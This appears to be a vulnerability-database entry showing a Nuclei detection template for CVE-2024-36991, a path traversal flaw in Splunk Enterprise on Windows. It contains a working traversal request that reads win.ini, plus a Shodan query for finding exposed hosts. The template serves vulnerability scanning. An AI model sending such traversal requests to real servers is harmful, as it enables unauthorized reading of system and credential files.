Splunk Enterprise - Local File Inclusion

2024-07-0513:46:06

ProjectDiscovery

github.com

splunk enterprise

local file inclusion

windows

path traversal

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AI Score

6.7

Confidence

Low

EPSS

0.098

Percentile

94.9%

JSON

In Splunk Enterprise on Windows versions below 9.2.2, 9.1.5, and 9.0.10, an attacker could perform a path traversal on the /modules/messaging/ endpoint in Splunk Enterprise on Windows. This vulnerability should only affect Splunk Enterprise on Windows.

id: CVE-2024-36991

info:
  name: Splunk Enterprise - Local File Inclusion
  author: DhiyaneshDK
  severity: high
  description: |
    In Splunk Enterprise on Windows versions below 9.2.2, 9.1.5, and 9.0.10, an attacker could perform a path traversal on the /modules/messaging/ endpoint in Splunk Enterprise on Windows. This vulnerability should only affect Splunk Enterprise on Windows.
  reference:
    - https://x.com/sheikhrishad0/status/1809210005125746880/photo/1
    - https://x.com/chybeta/status/1809249794122215557/photo/1
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36991
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"Login | Splunk"
  tags: cve,cve2024,splunk,lfi

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /en-US/login HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Splunk Inc.")'
        condition: and
        internal: true

  - raw:
      - |
        GET /en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../Windows/win.ini HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and
# digest: 490a004630440220161560c30250454c6c092372dd49e93373fc293e9182a899cfcd282f27d1620902207118a8878843fe627bcaa1cd661acf7251c99a57a1a3ce6b5efcb71c88852d37:922c64590222798bb761d5b6d8e72950